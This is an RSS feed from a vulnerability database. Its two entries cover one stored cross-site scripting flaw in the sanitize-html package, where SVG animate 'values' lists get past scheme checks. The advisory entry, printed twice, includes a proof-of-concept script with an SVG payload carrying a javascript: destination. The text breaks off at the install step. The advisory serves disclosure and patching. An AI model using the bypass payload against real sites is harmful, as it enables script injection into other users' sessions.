<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 01 Oct 2026 12:35:19 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-84371</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-84371</link>
      <description>&lt;p&gt;ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From version 1.9.0 until version 2.17.7, packages/sanitize-html/index.js validates an animation value attribute as one flat URL and does not recognize that attributeName selecting href or xlink:href gives the sibling values, from, to, or by attribute SVG SMIL URL semantics. In configurations that allow the animate, animateColor, animateMotion, animateTransform, or set elements, a values list can begin with a safe fragment and contain a later executable destination that survives allowedSchemesAppliedToAttributes checking. When the sanitized SVG is rendered, the browser can copy that later destination into the live link, and a victim who activates the link can execute script in the application&amp;#39;s origin. This issue is fixed in version 2.17.7.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From version 1.9.0 until version 2.17.7, packages/sanitize-html/index.js validates an animation value attribute as one flat URL and does not recognize that attributeName selecting href or xlink:href gives the sibling values, from, to, or by attribute SVG SMIL URL semantics. In configurations that allow the animate, animateColor, animateMotion, animateTransform, or set elements, a values list can begin with a safe fragment and contain a later executable destination that survives allowedSchemesAppliedToAttributes checking. When the sanitized SVG is rendered, the browser can copy that later destination into the live link, and a victim who activates the link can execute script in the application&amp;#39;s origin. This issue is fixed in version 2.17.7.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-84371</guid>
    </item>
    <item>
      <title>GHSA-g8qq-57p8-ggw5 — ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-g8qq-57p8-ggw5</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: sanitize-html&lt;/p&gt;
&lt;p&gt;### Summary
When SVG animation is allowed, `attributeName=&amp;#34;href&amp;#34;` makes `values` a list of URL destinations. `sanitize-html` accepts a list that starts with a safe fragment even when `values` is explicitly scheme-checked, allowing a later `javascript:` destination to execute when the sanitized link is activated.&lt;/p&gt;
&lt;p&gt;### Details
`index.js:371-383` validates each attribute as one flat URL. It does not recognize that `attributeName=&amp;#34;href&amp;#34;` gives the sibling `values` attribute SMIL URI-list semantics. For `values=&amp;#34;#safe;javascript:...&amp;#34;`, the leading fragment passes the flat check and the complete list is retained.&lt;/p&gt;
&lt;p&gt;### PoC
This was reproduced with `sanitize-html@2.17.6` and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to `values`; it does not allow `javascript:`. Save this as `poc.js`:&lt;/p&gt;
&lt;p&gt;```js
const sanitize = require(&amp;#39;sanitize-html&amp;#39;);&lt;/p&gt;
&lt;p&gt;const input = `&amp;lt;svg&amp;gt;&amp;lt;a&amp;gt;&amp;lt;animate attributeName=&amp;#34;href&amp;#34; values=&amp;#34;#safe;javascript:alert(&amp;#39;XSS&amp;#39;)&amp;#34; dur=&amp;#34;.01s&amp;#34; fill=&amp;#34;freeze&amp;#34;&amp;gt;&amp;lt;/animate&amp;gt;&amp;lt;text y=&amp;#34;30&amp;#34;&amp;gt;Click me&amp;lt;/text&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/svg&amp;gt;`;
const output = sanitize(input, {
  allowedTags: sanitize.defaults.allowedTags.concat([&amp;#39;svg&amp;#39;, &amp;#39;animate&amp;#39;, &amp;#39;text&amp;#39;]),
  allowedAttributes: {
    ...sanitize.defaults.allowedAttributes,
    animate: [&amp;#39;attributename&amp;#39;, &amp;#39;values&amp;#39;, &amp;#39;dur&amp;#39;, &amp;#39;fill&amp;#39;],
    text: [&amp;#39;y&amp;#39;]
  },
  allowedSchemesAppliedToAttributes:
    sanitize.defaults.allowedSchemesAppliedToAttributes.concat([&amp;#39;values&amp;#39;])
});
console.log(output);
```&lt;/p&gt;
&lt;p&gt;Install and run i…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: sanitize-html&lt;/p&gt;
&lt;p&gt;### Summary
When SVG animation is allowed, `attributeName=&amp;#34;href&amp;#34;` makes `values` a list of URL destinations. `sanitize-html` accepts a list that starts with a safe fragment even when `values` is explicitly scheme-checked, allowing a later `javascript:` destination to execute when the sanitized link is activated.&lt;/p&gt;
&lt;p&gt;### Details
`index.js:371-383` validates each attribute as one flat URL. It does not recognize that `attributeName=&amp;#34;href&amp;#34;` gives the sibling `values` attribute SMIL URI-list semantics. For `values=&amp;#34;#safe;javascript:...&amp;#34;`, the leading fragment passes the flat check and the complete list is retained.&lt;/p&gt;
&lt;p&gt;### PoC
This was reproduced with `sanitize-html@2.17.6` and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to `values`; it does not allow `javascript:`. Save this as `poc.js`:&lt;/p&gt;
&lt;p&gt;```js
const sanitize = require(&amp;#39;sanitize-html&amp;#39;);&lt;/p&gt;
&lt;p&gt;const input = `&amp;lt;svg&amp;gt;&amp;lt;a&amp;gt;&amp;lt;animate attributeName=&amp;#34;href&amp;#34; values=&amp;#34;#safe;javascript:alert(&amp;#39;XSS&amp;#39;)&amp;#34; dur=&amp;#34;.01s&amp;#34; fill=&amp;#34;freeze&amp;#34;&amp;gt;&amp;lt;/animate&amp;gt;&amp;lt;text y=&amp;#34;30&amp;#34;&amp;gt;Click me&amp;lt;/text&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/svg&amp;gt;`;
const output = sanitize(input, {
  allowedTags: sanitize.defaults.allowedTags.concat([&amp;#39;svg&amp;#39;, &amp;#39;animate&amp;#39;, &amp;#39;text&amp;#39;]),
  allowedAttributes: {
    ...sanitize.defaults.allowedAttributes,
    animate: [&amp;#39;attributename&amp;#39;, &amp;#39;values&amp;#39;, &amp;#39;dur&amp;#39;, &amp;#39;fill&amp;#39;],
    text: [&amp;#39;y&amp;#39;]
  },
  allowedSchemesAppliedToAttributes:
    sanitize.defaults.allowedSchemesAppliedToAttributes.concat([&amp;#39;values&amp;#39;])
});
console.log(output);
```&lt;/p&gt;
&lt;p&gt;Install and run i…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-g8qq-57p8-ggw5</guid>
    </item>
  </channel>
</rss>
